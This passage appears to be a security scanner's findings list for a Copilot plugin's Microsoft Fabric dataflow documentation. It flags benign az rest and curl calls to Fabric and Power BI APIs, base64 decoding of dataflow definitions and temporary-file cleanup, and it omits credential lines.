    - **Service principals creating connections** require Fabric tenant admin enablement: see [*Service principals can create workspaces, connections, and deployment pipelines*](https://learn.microsoft.com/en-us/fabric/admin/service-admin-porta
  • Network accessline 114
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 115
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 198
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 199
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 397
    # az rest cannot capture response headers — use curl for the initial call so we can read Location.
  • Network accessline 398
    [Credential-related source omitted]
  • Network accessline 399
    [Credential-related source omitted]
  • Network accessline 400
    [Credential-related source omitted]
  • Dangerous shell operationline 422
    rm -f "$HDR" "$BODY"
  • Network accessline 461
    | URL | Returns | Notes | |---|---|---| | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` | `{ value: [...] }` — flat, paginated array of cluster + datasource records, each with `clusterId`, `id`, `datasourceReference`
  • Network accessline 463
    | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` | `{ value: [...] }` — flat, paginated array of cluster + datasource records, each with `clusterId`, `id`, `datasourceReference`, … | Canonical pattern. Filter by `id =
  • Network accessline 467
    > **Token audience.** The list endpoint accepts the Power BI audience (`https://analysis.windows.net/powerbi/api` — **no** trailing slash; the slashed form fails AADSTS500011). The Fabric token (`https://api.fabric.microsoft.com/`) is also 
  • Network accessline 470
    PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 473
    CLUSTER_ID=$(az rest --method get \   --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 474
    --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \   --query "value[?id=='$CONN_ID'] | [0].clusterId" --output tsv)
  • Network accessline 475
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 502
    > **⚠ LRO caveat:** the `getDefinition` call below assumes a synchronous 200 response. For production code, handle **202 + Location** with the LRO-aware curl pattern (see [authoring-cli-quickref.md § Validate All Connections in a Dataflow](
  • Network accessline 601
    > **Out of scope for ready-to-run templates.** Generating `encryptedCredentials` requires fetching the gateway member's RSA public key and serializing the credential payload according to Microsoft's encryption format. See [*Configure creden
  • Network accessline 626
    - **Connection sharing / role assignments** — granting other principals access to use the connection. - **OAuth2 connection authoring** — interactive only (portal / UI); the API rejects `OAuth2` in `POST /v1/connections` with `InvalidInput`
  • Network accessline 627
    - **OAuth2 connection authoring** — interactive only (portal / UI); the API rejects `OAuth2` in `POST /v1/connections` with `InvalidInput` (see [Troubleshooting](#troubleshooting)). - **On-premises gateway credential encryption** — see Micr
  • Network accessline 628
    - **On-premises gateway credential encryption** — see Microsoft's [*Configure credentials programmatically*](https://learn.microsoft.com/en-us/power-bi/developer/embedded/configure-credentials) for the RSA encryption format.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/connectors.md

  • Network accessline 36
    Microsoft Learn documents `Web.Page` and `Web.BrowserContents` as available in cloud dataflows through an on-premises data gateway. See [Using a gateway with the Web connector](https://learn.microsoft.com/en-us/power-query/connectors/web/we
  • Network accessline 38
    [Using a gateway with the Web connector](https://learn.microsoft.com/en-us/power-query/connectors/web/web-troubleshoot#using-a-gateway-with-the-web-connector).
  • Network accessline 156
    Html.Table(Web.Contents("https://example.com/page"),
  • Network accessline 167
    Csv.Document(Web.Contents("https://example.com/data.csv"),
  • Network accessline 183
    Lines.FromBinary(Web.Contents("https://example.com/log.txt"))

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/mashup-preview.md

  • Network accessline 30
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/executeQuery
  • Network accessline 45
    - AAD/Entra access token. Audience: **Power BI** (`https://analysis.windows.net/powerbi/api`, **no** trailing slash) for `ClusterId` lookups against `api.powerbi.com/v2.0/...`; **Fabric** (`https://api.fabric.microsoft.com/`) for `executeQu
  • Network accessline 56
    1. **Dataflow exists** in the target workspace. 2. **Connections bound** — every data source referenced by the M document must have a connection bound to the dataflow via its `queryMetadata.json connections[]` array. Binding is persisted th
  • Network accessline 57
    2. **Connections bound** — every data source referenced by the M document must have a connection bound to the dataflow via its `queryMetadata.json connections[]` array. Binding is persisted through `updateDefinition`, **not** through this e
  • Network accessline 58
    3. **Cloud connection JSON form** — each bound cloud connection is stored as a JSON string of the form `{"ClusterId":"<guid>","DatasourceId":"<guid>"}`. `ClusterId` is obtained from Power BI v2: `GET https://api.powerbi.com/v2.0/myorg/me/ga
  • Network accessline 251
    [Credential-related source omitted]
  • Network accessline 260
    curl -sS -X POST \
  • Network accessline 261
    "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" \
  • Network accessline 272
    [Credential-related source omitted]
  • Network accessline 276
    } | ConvertTo-Json Invoke-WebRequest -Method POST `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" `
  • Network accessline 277
    Invoke-WebRequest -Method POST    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery"
  • Network accessline 278
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" `
  • Network accessline 290
    resp = httpx.post(
  • Network accessline 291
    f"https://api.fabric.microsoft.com/v1/workspaces/{ws}/dataflows/{df}/executeQuery",
  • Network accessline 318
    STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \
  • Network accessline 319
    -X POST "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" \
  • Network accessline 328
    while :; do     sleep "${RETRY:-2}"     STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \
  • Network accessline 329
    [Credential-related source omitted]
  • Network accessline 330
    STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \
  • Network accessline 342
    $resp = Invoke-WebRequest -Method POST `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" `
  • Network accessline 343
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" `
  • Network accessline 367
    url = f"https://api.fabric.microsoft.com/v1/workspaces/{ws}/dataflows/{df}/executeQuery"
  • Network accessline 370
    resp = httpx.post(url, headers=hdr, json=body, timeout=120)
  • Network accessline 371
    while resp.status_code == 202:     time.sleep(int(resp.headers.get("Retry-After", "2")))     resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120)
  • Network accessline 372
    time.sleep(int(resp.headers.get("Retry-After", "2")))     resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120) resp.raise_for_status()
  • Network accessline 373
    resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/output-destinations.md

  • Network accessline 178
    | 1 | Discover target artifact ID (lakehouse, warehouse, etc.) | `GET /v1/workspaces/{ws}/{itemType}s` | | 2 | Find the destination connection | `GET /v1/connections` + filter by type | | 3 | Resolve ClusterId for connection binding | `GET 
  • Network accessline 180
    | 3 | Resolve ClusterId for connection binding | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` ⚠<U+FE0F> |
  • Network accessline 198
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 199
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 200
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 283
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 284
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 285
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
  • Network accessline 322
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 323
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 324
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 359
    > **Critical: Path matching.** The `path` value in `queryMetadata.json connections[]` and the URL in the M code must **exactly match** the connection's `connectionDetails.path`. If the connection was created with a trailing slash (e.g., `ht
  • Network accessline 364
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 365
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 366
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 406
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 407
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 408
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 493
    $LH_ID = "<lakehouseId>" $DF_NAME = "my-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 494
    $DF_NAME = "my-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1"
  • Network accessline 495
    $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 497
    $PBI_RESOURCE = "https://analysis.windows.net/powerbi/api"
  • Network accessline 513
    # Step 3: Resolve ClusterId $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE `   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Network accessline 514
    $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 515
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Possible obfuscationline 603
    [Convert]::FromBase64String(
  • Network accessline 632
    $WH_ID = "<warehouseId>" $DF_NAME = "my-warehouse-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 633
    $DF_NAME = "my-warehouse-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1"
  • Network accessline 634
    $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 636
    $PBI_RESOURCE = "https://analysis.windows.net/powerbi/api"
  • Network accessline 652
    # Step 3: Resolve ClusterId $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE `   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Network accessline 653
    $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 654
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Possible obfuscationline 744
    [Convert]::FromBase64String(
  • Network accessline 773
    # Prerequisites: az login, ADX connection pre-created in portal, database writable. $WS_ID = "<workspaceId>" $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/"  # Must match connection path EXACTLY
  • Network accessline 774
    $WS_ID = "<workspaceId>" $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/"  # Must match connection path EXACTLY $ADX_DB = "MyDatabase"
  • Network accessline 775
    $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/"  # Must match connection path EXACTLY
  • Network accessline 776
    $ADX_DB = "MyDatabase" $DF_NAME = "my-adx-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 777
    $DF_NAME = "my-adx-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1"
  • Network accessline 778
    $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 780
    $PBI_RESOURCE = "https://analysis.windows.net/powerbi/api"
  • Network accessline 796
    # Step 3: Resolve ClusterId $ADX_CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE `   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Network accessline 797
    $ADX_CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 798
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Possible obfuscationline 884
    [Convert]::FromBase64String(

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption.md

  • Network accessline 91
    # Find workspace ID by name WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 92
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 93
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 94
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 97
    # Find dataflow ID by name within workspace DF_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 98
    DF_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 99
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 100
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" \
  • Network accessline 108
    WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 109
    DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 110
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 111
    AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 123
    # 1. List workspaces → find target az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 124
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 127
    # 2. List dataflows → enumerate all az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 128
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 132
    # 3. Get dataflow properties az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 133
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    #    "this dataflow has no parameters" and report it plainly — do NOT surface the #    raw error. Optionally confirm by checking mashup.pq for `IsParameterQuery`. az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    #    raw error. Optionally confirm by checking mashup.pq for `IsParameterQuery`. az rest --method get --resource "https://api.fabric.microsoft.com" \   --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/parameters" \
  • Network accessline 141
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 145
    # 5. Get definition → decode mashup.pq RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 146
    RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 150
    # 6. Check job history az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 151
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 173
    - **Always `az login` first** — `az rest` uses the active session. No session → cryptic failure. - **Always `--resource "https://api.fabric.microsoft.com"`** — wrong audience = 401. - **Handle pagination** — repeat requests with `continuati
  • Network accessline 174
    - **Always `--resource "https://api.fabric.microsoft.com"`** — wrong audience = 401. - **Handle pagination** — repeat requests with `continuationToken` until absent/null. - **Handle LRO for `getDefinition`** — may return `202 Accepted` with
  • Network accessline 199
    | Symptom | Cause | Fix | |---|---|---| | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 200
    |---|---|---| | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` on `getDefinition` | Viewer role (Read-only) | Requires Contributor role or higher
  • Network accessline 201
    | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 223
    az rest --method get \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows" \
  • Network accessline 224
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows" \
  • Network accessline 225
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 236
    # Step 1: Request definition (POST returns 202 with Location header). # az rest cannot expose response headers, so capture Location via curl + az-acquired token.
  • Network accessline 237
    # az rest cannot expose response headers, so capture Location via curl + az-acquired token.
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 239
    LOCATION=$(curl -sS -X POST \
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 241
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/getDefinition" \
  • Network accessline 244
    # Step 2: Poll until definition is ready DEF=$(az rest --method get --url "${LOCATION}" \   --resource "https://api.fabric.microsoft.com")
  • Network accessline 245
    DEF=$(az rest --method get --url "${LOCATION}"    --resource "https://api.fabric.microsoft.com")
  • Network accessline 246
    --resource "https://api.fabric.microsoft.com")
  • Possible obfuscationline 254
    print(base64.b64decode(p['payload']).decode('utf-8'))
  • Network accessline 265
    # Get recent job instances for a dataflow az rest --method get \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" \
  • Network accessline 266
    az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5"
  • Network accessline 267
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" \
  • Network accessline 268
    --resource "https://api.fabric.microsoft.com" \
  • Possible obfuscationline 285
    meta = json.loads(base64.b64decode(p['payload']).decode('utf-8'))
  • Network accessline 337
    # Step 3: Execute the query (raw Apache Arrow IPC stream is written directly to disk) az rest --method post \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \
  • Network accessline 338
    az rest --method post    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery"
  • Network accessline 339
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \
  • Network accessline 340
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 465
    az rest --method post \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \
  • Network accessline 466
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \
  • Network accessline 467
    --resource "https://api.fabric.microsoft.com" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/charts/bar_chart.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/charts/line_chart.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/consumption-cli-quickref.md

  • Network accessline 8
    WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 9
    DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 10
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 11
    AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 28
    # List dataflows across all workspaces (iterate) for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 29
    for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 93
    # List dataflows az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 94
    az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 95
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" `
  • Network accessline 98
    # Discover parameters az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 99
    az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 100
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/parameters" `
  • Network accessline 103
    # Decode mashup.pq (PowerShell) $response = az rest --method post --resource "https://api.fabric.microsoft.com" `
  • Network accessline 104
    $response = az rest --method post --resource "https://api.fabric.microsoft.com" `
  • Network accessline 105
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition" | ConvertFrom-Json
  • Possible obfuscationline 107
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mashup.payload))

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/discovery-queries.md

  • Network accessline 10
    # All dataflows with description and type az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 11
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 20
    URL="$API/workspaces/$WS_ID/dataflows" while [ -n "$URL" ]; do   RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")
  • Network accessline 21
    while [ -n "$URL" ]; do   RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")   echo "$RESPONSE" | jq -r '.value[] | [.id, .displayName] | @tsv'
  • Network accessline 22
    RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")
  • Network accessline 36
    # Find dataflows across all accessible workspaces for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 37
    for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 39
    WS_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 41
    DATAFLOWS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 55
    RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 69
    # getDefinition may return 202 with Location header HTTP_CODE=$(curl -s -o /tmp/df_def.json -w "%{http_code}" -X POST \
  • Network accessline 70
    HTTP_CODE=$(curl -s -o /tmp/df_def.json -w "%{http_code}" -X POST \
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 76
    echo "LRO started. Polling $LOCATION ..."   while true; do     STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    while true; do     STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \       --url "$LOCATION" --query "status" -o tsv)
  • Network accessline 78
    STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 83
    done   # Get the result   az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 84
    # Get the result   az rest --method get --resource "https://api.fabric.microsoft.com" \     --url "${LOCATION}/result"
  • Network accessline 85
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 93
    # Decode mashup.pq and list all shared queries az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 94
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 109
    # Decode queryMetadata.json and list connections az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 110
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    # Decode queryMetadata.json and classify queries az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 120
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 142
    # Tabular parameter report az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 143
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 151
    # Extract parameter definitions from M code az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 152
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 163
    # Count jobs by status az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 164
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 172
    # Average duration of completed jobs (in seconds) az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 173
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 184
    # List all failures with reasons az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 185
    az rest --method get --resource "https://api.fabric.microsoft.com" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/script-templates.md

  • Network accessline 11
    # --- Configuration --- WS_ID="${WS_ID:?Set WS_ID env var (workspace ID)}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 13
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 23
    COUNT=0 while [ -n "$URL" ]; do   RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")
  • Network accessline 24
    while [ -n "$URL" ]; do   RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")   echo "$RESPONSE" | jq -r '.value[] | "\(.displayName)\t\(.id)"'
  • Network accessline 25
    RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")
  • Network accessline 47
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var (dataflow ID)}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 48
    DF_ID="${DF_ID:?Set DF_ID env var (dataflow ID)}" API="https://api.fabric.microsoft.com/v1" OUTPUT_DIR="${1:-.}"
  • Network accessline 49
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 57
    # --- Get dataflow name --- DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 58
    DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 62
    # --- Get definition --- echo "Fetching definition..." RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 63
    echo "Fetching definition..." RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition")
  • Network accessline 64
    RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 103
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 104
    DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" MAX_WAIT="${MAX_WAIT:-3600}"  # 60 minutes default
  • Network accessline 105
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 112
    # --- Get latest job instance --- echo "Checking latest job for dataflow $DF_ID..." LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 113
    echo "Checking latest job for dataflow $DF_ID..." LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \   --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances" \
  • Network accessline 114
    LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 134
    STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    Completed|Failed|Cancelled)       echo "✓ Job reached terminal state: $STATUS"       az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 142
    echo "✓ Job reached terminal state: $STATUS"       az rest --method get --resource "https://api.fabric.microsoft.com" \         --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances" \
  • Network accessline 143
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 168
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 170
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 176
    # --- Get dataflow name --- DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 177
    DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 182
    # --- Discover parameters --- PARAMS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 183
    PARAMS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 212
    $API = "https://api.fabric.microsoft.com/v1"
  • Network accessline 216
    do {     $response = az rest --method get --resource "https://api.fabric.microsoft.com" --url $url | ConvertFrom-Json
  • Network accessline 217
    $response = az rest --method get --resource "https://api.fabric.microsoft.com" --url $url | ConvertFrom-Json
  • Network accessline 252
    $API = "https://api.fabric.microsoft.com/v1"
  • Network accessline 253
    $resource = "https://api.fabric.microsoft.com"
  • Possible obfuscationline 288
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($part.payload))
  • Network accessline 308
    $API = "https://api.fabric.microsoft.com/v1"
  • Network accessline 309
    $jobs = (az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 342
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 343
    AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 406
    $API = "https://api.fabric.microsoft.com/v1"
  • Network accessline 407
    $AZ = "az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 429
    try {     az rest --method post `       --resource "https://api.fabric.microsoft.com" `
  • Network accessline 430
    az rest --method post        --resource "https://api.fabric.microsoft.com"
  • Network accessline 431
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 496
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 497
    AZ="az rest --resource https://api.fabric.microsoft.com"

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade.md

  • Network accessline 50
    > **Agent check** — verify before first operation: > ```bash > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli"
